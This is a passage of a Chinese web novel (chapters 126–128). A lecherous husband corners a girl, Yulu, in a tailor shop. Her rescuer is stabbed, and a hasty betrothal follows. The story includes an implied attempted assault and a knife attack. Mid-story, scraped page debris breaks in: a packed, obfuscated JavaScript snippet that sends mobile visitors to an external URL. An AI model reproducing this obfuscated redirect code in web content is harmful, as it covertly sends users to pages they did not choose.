彭志远见燕子如此愤怒,心知此刻求饶也是徒劳,于是他默默地抱起枕头,转身走进了之前玉露睡过的那个房间。 一躺到床上,一股淡淡的清香扑面而来,那是玉露留下的味道。彭志远躺在床上,闭上眼睛,仿佛还能感受到玉露的存在。 他不禁在心中暗暗叹息:“真是可惜啊,这快到嘴的小肥羊,居然就这样跑掉了,这女人回来得也太不是时候了!” 与此同时,老母亲站在堂屋里,满脸狐疑地看着这一幕。她不明白女儿和女婿之间究竟发生了什么事,为什么会突然争吵起来。然而,在她内心深处,其实一直都对彭 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玉露连忙摇了摇头,强颜欢笑道:“没有啦,我只是有点想回家了。可是,我又怕回去了,我娘会不高兴。” 冯玉龙满脸狐疑地看着玉露,追问道:“不是说这里是你的亲戚家吗?难道她们对你不好吗?” 玉露的脸色有些不自然,她犹豫了一下,还是轻声说道:“她们确实是我娘的亲人,只是……我不想在这里给她们添麻烦了……” 冯玉龙更加困惑了,他皱起眉头,继续追问:“添麻烦?这是什么意思?我怎么越听越糊涂了……” 玉露似乎有些不耐烦了,她摆了摆手,匆匆说道:“哎呀,没什么啦,我不想跟你说了!”话音未落,她便转身快步走进了裁缝铺子,留下冯玉龙站在原地,一脸茫然。 冯玉龙心中的疑虑愈发强烈,他觉得玉露肯定有什么事情瞒着他。于是,他决定在这附近守候,看看究竟是什么原因让玉露如此不开心。接下来的日子里,冯玉龙每天都会在裁缝铺子附近徘徊,观察着玉露的一举一动。 玉露的每日三餐都是由燕子用食篮提过来给她吃的。经过这些日子的来来往往,彭志远竟然得知了玉露不仅没有离开,而且还一直住在燕子的裁缝铺里! 要知道,以前的彭志远可是从来都不踏进裁缝铺的。原因很简单,燕子曾经告诉过他,铺子里最大的生意就是那些个家世不错的小姐太太,来店里定做衣服的太太小姐们都不喜欢店里面有陌生男子出现。所以,为了不影响燕子的生意,彭志远一直都非常自觉地与裁缝铺保持着距离。 然而,就在今天,彭志远却一反常态,特意早早来到了燕子的裁缝铺附近守着!夜幕渐渐降临,燕子像往常一样收拾好东西,准备回家做饭。通常情况下,燕子会先回家做好晚餐,吃完后再装一些食物放进食篮里,然后再带到铺子里给玉露。 彭志远对燕子的这个习惯了如指掌。所以,当他看到燕子前脚刚踏出铺子,便如闪电一般迅速地闪身溜了进去!一进门,他立刻顺手关上了铺子的门,仿佛生怕有人会突然闯进来似的。 玉露远远地看到彭志远走了进来,她的身体猛地一颤,原本轻松的笑容瞬间凝固在了脸上。她瞪大了眼睛,死死地盯着彭志远,仿佛他是一个可怕的怪物。 玉露的心跳急速加快,就像要跳出嗓子眼儿一样。她感到一股恐惧的寒意从脊梁上升起,迅速传遍全身。她的手不自觉地握紧,掌心微微出汗。 那晚的事情在她脑海中不断回放,她记得彭志远那狰狞的表情,记得他那充满恶意的话语,更记得自己当时的无助和绝望。 玉露深吸一口气,努力让自己镇定下来。她告诉自己,不要害怕,要勇敢!彭志远可能不敢这么猖狂。但无论她怎么安慰自己,内心的恐惧依然如影随形。 第126章 知人知面不知心 冯玉龙温柔地看着玉露,安慰道:“别担心,你先休息一会儿,不如我去一趟裁缝铺,跟她说清楚。以后你就不用再去那个铺子了。” 玉露感激地点点头,她对那个裁缝铺子已经心生恐惧,确实不想再去了。 冯玉龙安慰好了玉露便出去了。玉露目送他离开,然后像一只受惊的小兔子一样,蜷缩在床上,紧张地等待着玉龙回来。她的心中充满了不安和担忧,根本不敢闭上眼睛睡觉。 玉露的思绪渐渐飘远,她开始回忆起与李豆宝的点点滴滴。她一直以为自己喜欢的人是李豆宝,然而,当她告诉豆宝自己要去县城时,他竟然连一句挽留的话都没有说。玉露不禁想,如果当时豆宝能够开口说不想让她去县城,哪怕只是简单的一句话,她肯定会毫不犹豫地留在村里。 可如今,自己经历了这么多委屈的事情,连个可以哭诉的人都没有,自己喜欢的那个豆宝竟还不如眼前的冯玉龙对自己好!她心底不禁有些怀疑,豆宝他对自己到底有几分喜欢? 此时此刻,远在李家沟的李豆宝突然打了一个大大的喷嚏。这声音在寂静的夜晚里显得格外突兀,仿佛整个世界都被这突如其来的声响惊动了。 站在一旁的王小凤见状,赶忙关切地问道:“豆宝啊,你是不是着凉啦?怎么站在门口发什么愣呢?快进来,别冻着了!” 然而,李豆宝似乎完全没有听到奶奶的呼唤,他的目光依然直直地望向天空,仿佛那里有什么东西深深地吸引着他。 过了好一会儿,他才缓缓地转过头来,看着奶奶,轻声说道:“奶奶,你说,玉露她娘要她去学裁缝,那得学多久才能回来啊?” 王小凤听了,不由得皱起了眉头,想了想,回答道:“裁缝啊?那可不是一朝一夕就能学会的哟……而且,就算她学会了,在县城里待久了,谁知道她还会不会看得上咱们这个穷家呢?说不定啊,她会喜欢上别人也说不定呢!” 李豆宝一听,立刻反驳道:“不可能!玉露才不是那种嫌贫爱富的姑娘!她不会的!”他的声音有些激动,似乎对奶奶的说法非常不满。 王小凤看着李豆宝,嘴角露出了一丝似笑非笑的表情,但她并没有再说话,只是默默地摇了摇头。 且说那燕子,手提食物,步履匆匆地赶回裁缝铺子。然而,当她走到门口时,眼前的景象却令她惊愕不已! 原本还好好的裁缝铺子,此刻那木门竟然歪斜着,仿佛是被一股巨大的力量踹开了一般。燕子心头一紧,不禁担心起屋内的玉露来,不知她是否安好。 燕子快步走进屋内,高声呼喊着玉露的名字,想要询问到底发生了何事。然而,空荡荡的屋子里并没有得到玉露的回应。 燕子心中愈发焦急,她将食盒随意地放置在一旁,迅速点燃了桌上的油灯。微弱的火光在黑暗中摇曳,照亮了屋内的一角。 就在这时,燕子突然抬头,惊得她差点失声尖叫!只见那个彭志远,此刻正被打得鼻青脸肿,狼狈不堪地吊在房梁上。他的上衣早已不知去向,光着膀子,身上还残留着一道道明显的鞭痕,嘴里更是被塞进了一块粗布,只能发出呜呜的声音。 燕子见状,来不及多想,急忙冲上前去,解开了绑住彭志远的绳子,将他放了下来。彭志远一落地,便如烂泥一般瘫倒在地,嘴里的粗布也随之掉落。 燕子瞪大眼睛,满脸怒容地盯着彭志远,厉声道:“我问你,玉露去哪儿了?你又为何会在这里?怎么还弄成这副模样?” 彭志远一脸委屈地对燕子说道:“媳妇儿啊!我刚才真的只是路过这里,结果就看到玉露那个小**跟一个男人在这儿勾勾搭搭、不清不楚的……我实在看不过去,就进去说了他们几句。谁能想到那个男的二话不说,上来就对我动手,还把我给吊了起来!” 燕子瞪大了眼睛,满脸难以置信的表情,连连摇头道:“不可能,绝对不可能!玉露还是个孩子呢,她怎么可能会做出这种事情来……” 彭志远见燕子不相信自己,赶忙解释道:“媳妇儿啊,你可别被她那副单纯的外表给骗了啊!俗话说得好,知人知面不知心呐!这小丫头片子,指不定背后有多坏呢!” 就在这时,一个突如其来的声音打断了他们的对话。“好一个知人知面不知心啊!不过,我倒是想知道,你这个人的心,你的身边人到底清不清楚呢?”伴随着这句话,一个身影缓缓地走了进来,彭志远定睛一看,竟然就是刚才揍了他一顿的冯玉龙! 彭志远被这突然冒出来的人吓得浑身一颤,他下意识地往回缩了缩身子,然后用手指着冯玉龙,结结巴巴地喊道:“是他,就是他!就是这个家伙打我的,而且他还把玉露给带走了!” 燕子瞪大眼睛,满脸怒容地质问冯玉龙:“是你带走了玉露?” 冯玉龙面无表情地回答道:“没错,确实是我带走了她。” 燕子一听,心急如焚,连忙追问:“她在哪里?我要去把她接回来!” 然而,冯玉龙却冷漠地回应:“那不可能,以后她都不可能再回来这里了!” 一旁的彭志远见状,立刻火上浇油,对着燕子叫嚷道:“媳妇儿,你瞧,我说他们两个有一腿吧,把人带走了还不还回来!” 冯玉龙被彭志远的话激怒了,他恶狠狠地瞪了彭志远一眼,威胁道:“你再胡言乱语,信不信我把你的腿打折……” 燕子见状,连忙制止道:“这是我的铺子,这位小兄弟,你倒也不用在我这里耀武扬威吧!” 冯玉龙冷笑一声,反驳道:“耀武扬威?你倒是问问你的那个好男人,他对玉露做了什么?若不是我及时踹开了这门,玉露恐怕早就被他给……” 彭志远一脸恼怒地吼道:“你别胡说八道!我怎么可能会去做那种事情?明明就是你和那个丫头偷情被我当场抓住了!” 冯玉龙见状,嘴角泛起一抹冷笑,不紧不慢地说道:“哦?是吗?既然你这么说,那我们何不直接去问问玉露本人呢?” 彭志远顿时有些心虚,但还是嘴硬道:“哼!玉露跟你关系那么好,她肯定会帮你说话的!” 冯玉龙听后,嗤笑一声,反驳道:“真是可笑至极!一个清清白白的姑娘家,谁会拿自己的名声和清白去开玩笑?这位大姐,我好心劝你一句,还是把眼睛擦亮点吧,可别抱着一坨垃圾傻乎乎地把他当成宝!” 彭志远闻言,气得满脸通红,怒不可遏地骂道:“你说谁是垃圾?你才是垃圾!” 就在这时,一直沉默不语的燕子突然站起身来,二话不说,抬手就给了彭志远两个响亮的耳光。只听“啪”“啪”两声脆响,彭志远的脸颊瞬间变得通红。 燕子怒目圆睁,怒斥道:“好啊,彭志远,我还真是小瞧了你!没想到你竟然如此不知悔改,在我这铺子里也敢做出这种不要脸的事情来!” 彭志远被打得有些发懵,他捂着脸,连忙解释道:“媳妇儿,你别听他胡言乱语啊,他说的都是骗你的!” 燕子满脸怒容,她的声音因为愤怒而略微颤抖着,“我忍你很久了!以前你去窑子里的事,我并非一无所知。我一直都在默默忍受,期待着你能有一天重新变回那个曾经的你。可是我万万没有想到,你竟然连我的亲人都不放过!” 她的眼眶渐渐湿润,泪水在眼眶里打转,但她强忍着不让它们掉下来。燕子深吸一口气,继续说道:“你走吧,从今往后,我们娘俩跟你再无任何关系!” 彭志远见燕子如此决绝,心知此刻无论怎样哀求都无济于事,于是他索性也不再伪装,露出了本来面目。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344638|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要嫁给我,我就娶了你。可如今你却要赶我走,你把我当成什么了?”彭志远的语气变得凶狠起来,“我告诉你,这绝对不可能!老子过得不痛快,你也休想好过!” 燕子被他的话气得浑身发抖,她瞪大了眼睛,死死地盯着彭志远,却说不出一句话来。 就在这时,一旁的冯玉龙突然开口问道:“需要我帮忙吗?” 燕子像是抓到了救命稻草一般,连忙对冯玉龙说:“麻烦你帮我把他丢出去!” 彭志远一听,顿时吓得脸色煞白。他可不想再被冯玉龙揍一顿,于是二话不说,转身像只受惊的兔子一样,飞快地跑了出去。 看着彭志远落荒而逃的背影,燕子的心情稍微平复了一些。她转头看向冯玉龙,感激地说:“谢谢你,要不是你,我还真不知道该怎么办才好。对了,你叫什么名字?还有,能不能让我见见玉露?” 冯玉龙一脸焦急地说道:“我是冯记茶楼的,玉露现在非常害怕,情绪很不稳定,我得赶紧回去照看她了。如果你还有其他事情需要找我,可以直接去茶楼找我。” 话一说完,冯玉龙转身快步走出裁缝铺,径直朝着客栈的方向走去。然而,他完全没有察觉到,彭志远正心怀怨恨地悄悄跟在他身后。 彭志远一直暗中观察着冯玉龙的一举一动,当他看到冯玉龙走进福来客栈时,毫不犹豫地也跟着走了进去。 冯玉龙来到玉露的房门前,轻轻地敲了敲门,关切地问道:“玉露,你睡了吗?” 房间里传来玉露略带颤抖的声音:“玉龙大哥,你快进来吧!” 冯玉龙推开门,走进房间,一眼就看到玉露仍然蜷缩在床角,身体微微颤抖着。他连忙走到床边,柔声问道:“你怎么不休息一下呢?” 玉露抬起头,满脸惊恐地看着冯玉龙,声音带着哭腔:“我害怕,只要一闭上眼睛,那可怕的一幕就会不断在我脑海里闪现!玉龙大哥,你能不能在这里陪着我?” 冯玉龙心疼地看着玉露,安慰道:“别怕,有我在呢。你先睡吧,我会一直在这里守着你的。”说完,他在床边坐了下来,温柔地看着玉露。 令人意想不到的是,彭志远突然毫无征兆地推开了房门,气势汹汹地闯了进来。他怒目圆睁,满脸怒容,对着屋内的两人吼道:“我就说你俩有一腿吧,你们还不承认,你们敢让大家都来看看吗?孤男寡女共处一室,居然还敢插手我的家事,我看你们俩就是一对奸夫**……” 玉露被这突如其来的一幕吓得浑身发抖,她吓得立马蜷缩在了冯玉龙的身后,一脸惊恐地看着彭志远。 而冯玉龙则显得相对镇定一些,他有些气愤:“你在胡说八道什么,我和玉露之间什么都没有,我劝你赶快跟我滚出去……” 然而,他的话还没说完,彭志远便像一头发狂的野兽一样,从怀里掏出一把锋利的尖刀,猛地朝冯玉龙的胸口刺去。 冯玉龙猝不及防,根本来不及躲闪,尖刀瞬间刺穿了他的衣服,深深地扎进了他的身体里。 剧痛袭来,冯玉龙不由得闷哼一声,但他并没有被这突如其来的袭击打倒。他强忍着疼痛,飞起一脚,狠狠地踹在了彭志远的肚子上。彭志远完全没有料到冯玉龙在受伤之后还有如此大的力气,这一脚直接将他踹倒在地。 彭志远惊恐地看着胸口上插了一把刀的冯玉龙,他的脑海中一片空白,完全不知所措。他以为自己杀了人,心中充满了恐惧,于是像受惊了一样,转身飞奔而出,眨眼间便消失在了门外。 冯玉龙紧紧捂住了胸前的伤口,鲜血不断从指缝间渗出。他强忍着疼痛,将插在胸口的小刀缓缓拔了出来。随着小刀的拔出,一股鲜血喷涌而出,溅落在地上,形成了一滩触目惊心的血迹。 第127章 解释不清…… 玉露被眼前的场景吓得魂飞魄散,她的脸色苍白如纸,泪水像决堤的洪水一般涌出眼眶。她颤抖着声音说道:“这可怎么办啊!” 然而,与玉露的惊恐形成鲜明对比的是,冯玉龙却显得异常镇定。他看着玉露,嘴角竟然还露出了一丝笑容,安慰道:“别担心,他这一刀捅得并不深,没有伤到要害,只是一点皮肉伤而已。” 冯玉龙凝视着她那泪流满面的模样,心中不禁涌起一股柔软的情感。他轻声说道:“玉露,你我共处一室这件事若是被他传扬出去,你的名声恐怕会受到影响……,不如我娶你为妻,如此一来,便能堵住悠悠众口了。” 玉露此时心急如焚,她的目光紧紧锁定在冯玉龙胸前的伤口处,生怕他会因为伤势过重而离世。她根本无暇顾及其他,本能地哭泣着:“我只要你能平平安安的……” 冯玉龙见状,嘴角泛起一抹微笑,宽慰道:“那我便当作你是应允了我的求婚。”说罢,他拿起一壶老酒,毫不犹豫地将其倾倒在自己的伤口上。 玉露见状,急忙上前帮忙,小心翼翼地为他包扎好伤口。然而,当她看到冯玉龙强忍着疼痛时,心中的担忧愈发沉重,泪水如决堤般涌出。 冯玉龙见状,连忙安慰道:“傻丫头,别哭了,我真的没事。你快去歇息吧。” 玉露却执意不肯,她坚持道:“这怎么行呢?你都受伤了,理应是你去休息才对。” 冯玉龙轻轻地拉过玉露的手,温柔地拉着她坐在床边。他的目光落在玉露的眼睛上,轻声说道:“你刚才已经答应我了,要好好睡觉。我会一直在这里陪着你,所以你放心地闭上眼睛,让自己放松下来。” 玉露有些犹豫,但当她看到冯玉龙坚定的眼神时,心中的不安渐渐消散。然而,她还是紧紧地抓住冯玉龙的手,仿佛这样才能让自己更安心。 “你别走,”玉露的声音带着一丝哀求,“那我们就一起坐在床上聊聊天,好吗?”她的眼神充满了期待,希望冯玉龙能答应她的请求。 冯玉龙心里明白,玉露这样说并不是真的想要聊天,而是因为她心疼自己。于是,他微微一笑,点了点头,表示同意。 两人肩并肩地靠着墙坐在一起,彼此的身体紧贴着,感受着对方的温暖。玉露的手依然紧紧握着冯玉龙的手,仿佛这是她唯一的依靠。 沉默片刻后,玉露终于开口打破了宁静。她的声音有些低沉,带着些许愧疚:“谢谢你救了我,可我却害得你受伤了……” 冯玉龙连忙安慰道:“别这么说,这只是一点小伤,过几天就会好的。而且,我救你并不是为了让你感激我,而是因为我在乎你。” 玉露抬起头,看着冯玉龙受伤的手臂,心中一阵感动。她知道冯玉龙是真心对她好,这份情谊让她倍感温暖。 冯玉龙继续说道:“我想好了,明天我带你去我们家,让你好好休息一下。过几天,如果你想回家,我再送你回去。” 玉露看着冯玉龙,眼中闪过一丝犹豫。她知道自己不能一直依赖冯玉龙,但同时现在的她,又不想离开他的身边。最终,她还是点了点头,没有再多说什么。 时间一分一秒过去,困意逐渐袭来。玉露的眼皮越来越沉重,她努力想要保持清醒,但身体却不听使唤。不知不觉中,她的手缓缓松开了冯玉龙的手,然后像一只疲倦的小猫一样,轻轻地环抱住冯玉龙的腰,将头靠在他的身上,甜甜地睡去。 这一觉,玉露睡得格外安稳,仿佛所有的烦恼和忧虑都在这一刻离她远去。这是她离开家这么久以来,第一次睡得如此踏实。 第二天清晨,太阳像往常一样缓缓升起,阳光透过窗户洒在房间里,玉露慢慢醒了过来,她慢慢地睁开眼睛,突然意识到自己的手臂紧紧地抱着冯玉龙,小脸一红,立马撒开了双手。 反观冯玉龙,他的姿势显得有些僵硬。他的手轻轻地搭在玉露的头上,整个人笔直地坐着,头靠在一边,似乎是在睡觉时保持着一种警觉的状态。 玉露的目光落在了冯玉龙胸前的伤口上,那块纱布上还渗着淡淡的红色血迹,这让她的心中不禁涌起一丝担忧。 此刻,玉露静静地凝视着熟睡中的冯玉龙,她的内心深处涌起了一种难以言喻的情感。她喜欢李豆宝,但那是因为她一直都觉得豆宝可怜,而产生的怜悯之情在作祟。 然而,现在她面前的冯玉龙,却与李豆宝截然不同。他几次挺身而出救了玉露,展现出了无比的担当和勇气。相比之下,李豆宝显得如此渺小和无力。 玉露轻轻地坐起身来,她的脸颊上泛起了一抹红晕。尽管昨晚什么也没有发生,但毕竟是她主动抱着冯玉龙睡了一夜,这要是被传出去的话……她的内心开始有些纠结,一方面,她对眼前的冯玉龙产生了一种特殊的感觉;另一方面,她又无法轻易放下对豆宝的情感。 就在玉露发愣的时候,冯玉龙也缓缓地睁开了双眼。他的目光一落在玉露身上,就仿佛被施了定身咒一般,再也无法移开。 冯玉龙的眼神中充满了深情,他凝视着玉露,轻声说道:“你真好看。”这句话虽然简单,但却像一阵春风,轻轻地拂过玉露的心田,让她的脸瞬间变得像熟透的苹果一样通红。 玉露羞涩地低下头,嗔怪道:“你讨厌!”然而,她的声音中却透露出一丝不易察觉的喜悦。 冯玉龙见状,连忙解释道:“玉露,我不是故意的,我只是……我只是情不自禁。” 他顿了顿,深吸一口气,然后郑重地说:“我会对你负责的,我要娶你!” 玉露闻言,心中猛地一震。她抬起头,直视着冯玉龙的眼睛,似乎想要从他的眼神中找到一丝玩笑的意味。然而,她看到的只有真诚和坚定。 “谁说我就要嫁给你了?”玉露的声音有些颤抖,她不知道自己是在拒绝还是在试探。 冯玉龙显然没有料到玉露会这样回答,他的脸上露出一丝惊讶,但很快就恢复了平静。他认真地说:“你……我都看过了,也抱过了,我应该娶你的!” 玉露的脸更红了,她的心跳也愈发剧烈。她知道冯玉龙说的是事实,但她还没有做好心理准备。毕竟,她还没有想明白,她需要一点时间去思考。 “我……还需要好好想想。”玉露的声音低得几乎只有自己能听见。 冯玉龙点了点头,温柔地说:“我等你想明白,你肯定会愿意嫁给我的!”他的话语中充满了自信和期待,仿佛他已经看到了两人幸福的未来。 玉露心中暗自思忖着,如果豆宝能够亲口对她说要娶她,那该有多好啊!然而,豆宝却从未提及过此事。相比之下,玉龙显得更加有担当。想到这里,玉露对豆宝不禁感到有些失望…… 冯玉龙热情地说道:“现在我们一起去茶楼吧,我相信你一定会喜欢那里的!” 玉露略微思考了一下,毕竟冯玉龙是为了救她才受的伤。如果现在就这样离开,岂不是显得自己太过冷漠无情了? 玉露心想,无论如何,都要确保冯玉龙能够安全到家才行!于是,她果断地答应了与冯玉龙一同回去。 冯玉龙满心欢喜地带着玉露朝着冯家茶楼走去…… 冯玉龙突然有些不好意思地对玉露说:“还有一件事情需要拜托你呢!” 玉露微笑着回应道:“跟我还这么客气干嘛?有什么事你尽管说!” 冯玉龙犹豫了一下,还是开口说道:“我不想让家里人知道我受伤了,所以……” 玉露一脸疑惑地追问:“为什么呀?你受伤了,还不让家里人知道……” 冯玉龙一脸恳切地对王玉露说道:“你就答应我吧,千万不要告诉他们啊!要是让他们知道了这件事,以后恐怕都不会再让我随便出门了!” 王玉露犹豫了一下,最终还是点了点头,轻声说道:“好吧,那就听你的。” 冯玉龙见状,脸上立刻露出了欣喜的笑容,他温柔地牵起王玉露的手,一同走进了茶楼。 然而,让他们始料未及的是,刚一进门,迎面就撞见了王玉露的母亲——安素素! 安素素见到冯玉龙,二话不说,抬手朝着他的脑袋就拍了一巴掌,嘴里还骂骂咧咧道:“臭小子,你昨晚上到底干啥去了?一整晚都不见人影,你是想急死你老娘我啊!” 王玉露见状,急忙一个箭步冲到冯玉龙身前,张开双臂挡住了安素素,替他解释道:“您别责怪玉龙大哥,昨天他是为了救我,才……” 安素素的目光这才从冯玉龙身上移开,落到了王玉露身上,上下打量了一番后,狐疑地问道:“救你?你是谁啊?他在哪儿救的你?这小子还会救人?!” 面对安素素连珠炮似的追问,王玉露突然有些迟疑,不知道该如何回答,她犹豫了一下,最后只是小声嘀咕了一句:“我叫王玉露……” 冯玉龙笑嘻嘻地说道:“水里啊,她一不小心就掉进水里去啦,我当时想都没想,一个猛子就扎进水里去救她咯!你又不是不晓得,我这游泳技术那可是相当厉害的了!”他一边说着,还一边对着玉露调皮地眨巴了几下眼睛。 安素素听后,满脸担忧地问道:“那你有没有受伤呀?快让我看看!” 冯玉龙连忙摆了摆手,安慰道:“哎呀,我好得很呢,就是可能在水里泡久了,有点冷!” 安素素半信半疑地伸出手,轻轻摸了一下冯玉龙的额头,感觉有些发烫。她不禁焦急地说道:“哎呀,这还有点发烧了呢!你们俩赶紧进屋去歇歇吧,他一个大小伙子都着凉了,你这小身板肯定也受不了啊。楼上还有空着的厢房,让这小子带你去挑一间先住着,等会儿我去熬点药,给你们俩一人送一碗过来!” 王玉露本想开口说自己其实没什么大碍,但话还没说出口,就被冯玉龙一把拽住,连拖带拉地朝楼上走去…… 上楼之后,王玉露才惊讶地发现,这里面竟然别有洞天!一楼的布置就如同一个普通的市井茶馆,人来人往,好不热闹,任何人都可以自由出入,在这里喝茶、闲聊。然而,当她踏上二楼时,却发现这里完全是另一番景象。二楼全是雅致的房间,每一间厢房都相互独立,显然是为那些有身份地位的人提供一个安静、私密的谈事之所。 冯玉龙拉着王玉露继续往楼上走去,终于来到了三楼。三楼才是他们一家人真正居住的地方。冯玉龙随手推开一间房门,阳光透过窗户洒在房间里,给人一种温暖而明亮的感觉。坐在窗边,还能俯瞰到楼下熙熙攘攘的街道,车水马龙,好不繁华。 冯玉龙微笑着对王玉露说:“你就住这间吧,我就在你隔壁的那间,有什么事情的话,你可以随时叫我,随叫随到!” 接着,他热情地 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王玉露有些惊讶地看着冯玉龙,连忙摆手说道:“这怎么好意思收你的东西呢!这太贵重了吧……” 冯玉龙连忙打断她的话,认真地说:“你要当我是朋友的话,就不能摘下来!要是你把它取掉的话,那我可就真的不搭理你啦!” 王玉露听了冯玉龙的话,犹豫了一下,最终还是轻轻地点了点头。她小心翼翼地摸着脖子上的那块星星模样的玉,好奇地问道:“这个很值钱吧?” 冯玉龙面带微笑,兴致勃勃地说道:“当然值钱啦!我可是记得清清楚楚呢,当年我第一眼看到它,就觉得它特别好看,简直让我爱不释手。于是,我就像个小孩子一样,又哭又闹,非要得到它不可。我爹实在拗不过我,只好答应给我买下来。” 王玉露听了,心中不禁涌起一股感动,她柔声问道:“那你怎么舍得把这么珍贵的东西送给我呢?” 冯玉龙看着王玉露,眼中流露出温柔的目光,轻声回答道:“星辰玉露,你没听说过吗?我觉得这颗星星和你在一起,简直是天作之合!它就像你一样,璀璨而迷人,所以我才会毫不犹豫地把它送给你呀。” 正当两人沉浸在温馨的氛围中时,突然,一阵轻微的响动传来。原来是安素素端着两碗热气腾腾的药,轻轻推开门走了进来。 “来,你们两个,快把这治风寒的药喝了吧!喝了去睡一觉,等吃饭的时候,我再叫你们起来。”安素素关切地说道。 王玉露的脸色瞬间变得有些尴尬,她看着那两碗黑乎乎的药,心中不禁犯起了嘀咕。 冯玉龙见状,连忙接过药碗,笑着对安素素说:“娘,您先出去吧,这药还热着呢,等放凉一点,我们自己会喝的。” 安素素点了点头,叮嘱道:“那好,你们记得要喝哦,可别忘记了。还有,一定要把玉露姑娘安置好啊!”说完,她便转身离开了房间。 安素素轻轻地推开门,走了出去,留下王玉露和冯玉龙在房间里。王玉露突然想起冯玉龙胸前还有伤口,于是关切地问道:“玉龙大哥,你身上的伤,还好吗?” 冯玉龙听到王玉露的询问,这才意识到自己受伤的事情。他连忙回答道:“你倒是提醒我了,我得赶快用上金创药才行!”说着,他迅速打开抽屉,取出了一小瓶药。 王玉露见状,主动说道:“我来帮你吧!”她的声音温柔而关切,让冯玉龙心中一暖。 王玉露小心翼翼地揭开冯玉龙伤口上的纱布,然后轻轻地把药膏涂抹在伤口上。她的动作轻柔而细致,生怕弄疼了冯玉龙。 冯玉龙静静地看着王玉露为他换药,他的目光落在王玉露专注的脸上,心中涌起一股异样的感觉。玉露还是他第一次距离这么近的女孩子,这种感觉既陌生又让他有些心跳加速。 随着时间的推移,冯玉龙的脸颊渐渐泛起了一抹红晕,他不禁有些羞涩地低下了头。 就在这时,门突然被推开了,安素素端着一盘水果走了进来。她原本是想给冯玉龙和王玉露送些水果吃,却没想到一进门就看到了令人惊讶的一幕。 冯玉龙因为害怕被母亲发现胸前的伤口,情急之下,他立刻紧紧地抱住了王玉露,将她完全抱在自己怀里。 王玉露被冯玉龙这突如其来的举动吓了一跳,她的脸瞬间涨得通红,因为此时,她的脸居然紧紧贴在冯玉龙的胸口,可是门口像是有人,她也不敢抬头。 安素素站在门口,目瞪口呆地看着眼前的情景。她怎么也想不到,自己的儿子竟然会在她面前光着膀子,还紧紧地抱着一个姑娘。而那个姑娘显然也是非常害羞,整张脸都几乎完全贴进了冯玉龙的胸口里。 安素素顿觉尴尬,又觉得儿子不应该这样做:“冯玉龙,快把衣服穿好,下来一趟!”放下了水果,立马关门出去了! 此时王玉露的双颊如晚霞般泛起一丝红晕,她静静地聆听着冯玉龙那紧张的心跳声,仿佛能感受到他内心的波澜。 “你的心跳的好快……”王玉露轻声说道,声音如同蚊蝇一般细微。 冯玉龙有些局促不安,他的手不自觉地摆弄着衣角,结结巴巴地解释道:“对……对不起,我刚才……是怕我娘看见……所以才……” 王玉露的脸更红了,她低着头,不敢直视冯玉龙的眼睛,轻声说道:“可是现在……更解释不清了……” 第128章 定了亲? 冯玉龙似乎没有在意王玉露的担忧,他突然变得坚定起来,说道:“没关系的!我现在就去告诉我娘,我就是要娶你的!” 话音未落,冯玉龙迅速披上衣服,像一只欢快的小鸟一样,兴高采烈地跑了出去。 王玉露看着冯玉龙离去的背影,心中五味杂陈。她张了张嘴,想要说些什么,但话到嘴边,却又像被什么东西堵住了一样,怎么也说不出来。 她的心里此刻也是一片乱糟糟的,各种情绪交织在一起,让她有些茫然失措。 冯玉龙很快来到了母亲面前,安素素见到他,立刻板起脸来,责备道:“你这臭小子,就算你救了人家姑娘,也不能随便去占人家便宜啊!” 冯玉龙一脸委屈,连忙辩解道:“娘,儿子在你眼里,就是那种人吗?” 安素素一脸狐疑地看着冯玉龙,她实在难以相信自己的儿子会做出那样的事情。然而,当她想要继续追问时,却因为周围人多而有所顾忌,最终还是没能把话说出口。 冯玉龙见状,连忙将母亲拉到一旁,压低声音说道:“娘,我真的没有骗您。昨天我确实救了玉露,但她也被我抱过了,而且我也看了她的身子,所以我觉得自己有责任对她负责。” 安素素听了儿子的话,脸色微微一红,嗔怪道:“就算是这样,你也不能乱来啊!这种事情必须要等到成婚以后才行。” 冯玉龙连忙点头,解释道:“娘,我知道的,我就是抱了她一下而已,并没有其他过分的举动。只是娘,您能不能让我爹去王家帮我提亲呢?” 安素素叹了口气,无奈地说:“你爹昨天去外地进茶叶了,估计要过些天才能回来。不过,你要是太着急,要不就让你舅舅替他去吧?” 冯玉龙一听,顿时喜笑颜开,兴奋地说:“好啊,舅舅去也可以!” 玉露静静地趴在窗台上,目光空洞地望着下方,仿佛整个世界都与她无关。她完全没有意识到,自己的终身大事居然就这么突然的被定下了。 然而,命运的齿轮已经开始转动。就在第二天,冯玉龙和他的舅舅安素海带着一堆丰厚的礼物,竟然真的去了王家村。这一举动让所有人都大吃一惊,尤其是玉露的母亲。 王国柱兴奋地告诉婶子,那个冯玉龙就是他为玉露介绍的对象。而如今,对方的家人竟然亲自上门提亲,这无疑证明了玉露对这个小伙子也有着好感。 秋容听到这个消息后,并没有过多地追问。她只是看了一眼来人的年纪,便自然而然地以为那是冯玉龙的父亲。毕竟,她只是一个普通的妇道人家,对于这种大事,还是交由大哥出面比较妥当。 王永航与冯家人进行了一番交谈后,最终定下了这门亲事。令人惊讶的是,冯玉龙甚至连婚期都已经想好了,他希望能在父亲生日的那一天成婚,给父亲一个特别的惊喜。 秋容面带微笑地说道:“玉露现在并不在家里呢,要不这样吧,等我问了玉露的意见之后,咱们再具体地商量一下日子,您看这样可以吗?” 王永航听后,不以为然地笑了笑,回应道:“弟妹啊,这婚事都已经定下来了,具体选在哪一天举行,其实也没那么重要吧?” 然而,就在这时,一旁的冯玉龙突然插话道:“婶子,您别担心,玉露现在住在我家里呢。我想着带她多玩几天,等过些日子再送她回来。要是您也想去的话,完全可以一起过去住上一段时间呀!” 秋容闻言,心中不禁涌起一股怒意,但她还是强压着情绪,脸上并未流露出明显的不悦。她暗自思忖着,自己的女儿怎么如此不懂事,竟然住进了别人的家里! 秋容疑惑地看着冯玉龙,追问道:“她怎么会在你家里呢?我之前不是让她跟着我表妹学裁缝吗?” 